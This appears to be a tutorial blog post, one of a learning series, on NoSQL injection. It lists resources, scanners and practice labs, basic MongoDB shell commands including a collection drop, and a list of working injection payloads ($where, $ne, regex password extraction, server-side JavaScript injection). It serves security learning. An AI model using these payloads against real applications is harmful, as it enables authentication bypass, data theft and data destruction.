Hi there!,
This is the fourth topic in this series. You can have a look at other topics also for getting a better idea about the series and the pattern.
Fourth Topic - NoSql Injection
Resources
- https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection
(Owasp Ref) - https://www.netsparker.com/blog/web-security/what-is-nosql-injection/ (NetSparker Blog)
- https://geekflare.com/nosql-security-scan/
(Various Tools available for finding vulns) - https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection
(Various NoSql Database Payloads) - https://book.hacktricks.xyz/pentesting-web/nosql-injection
(Blind NoSqli Ref) - https://docs.mongodb.com/manual/reference/method/
(Mongodb various Methods)
Tools
- https://github.com/codingo/NoSQLMap
(NoSqlMap Scanner) - https://github.com/PortSwigger/nosqli-scanner
(Extender in Burpsuite)
Labs
- https://digi.ninja/projects/nosqli_lab.php
(Basic NoSqli Lab by Digininja) - https://github.com/p3n7a90n/SimpleNoSqliLab
(Simple NoSqli Lab created by me)
Basic Commands to query the Nosql database
show databases Lists all the databases available.
use db To use the given database.
db Output the current database.
show collections Lists all the collections/tables available in the current database.
db.<collection>.find() or db.getCollection("CollectionName").find() Performs a query on a collection or a view and returns a cursor object.
db.<collection>.drop() Removes the specified collection from the database.
Common Payloads
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1'
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
## SSJI Injection
';return 'a'=='a' && ''=='
\";return(false);var xyz='a", "\";return(true);var xyz='a
References
Feel free to drop any suggestions via my social handles.
Thanks for reading!!!.